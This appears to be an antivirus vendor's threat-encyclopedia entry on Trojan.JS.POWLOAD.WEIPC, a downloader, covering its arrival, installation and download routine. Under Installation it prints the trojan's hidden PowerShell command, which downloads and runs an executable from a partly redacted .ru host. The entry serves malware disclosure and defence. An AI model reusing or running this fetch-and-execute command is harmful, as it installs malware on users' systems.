Trojan.JS.POWLOAD.WEIPC

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• powErshelL.eXe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://{BLOCKED}ry-cloud.ru/x.exe','%AppDataLocal%\TempuLK69.exe'); ;

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}ry-cloud.ru/x.exe

It saves the files it downloads using the following names:

• %AppDataLocal%\TempuLK69.exe

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local on Windows Vista, 7, and 8.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• The powershell command is only executed once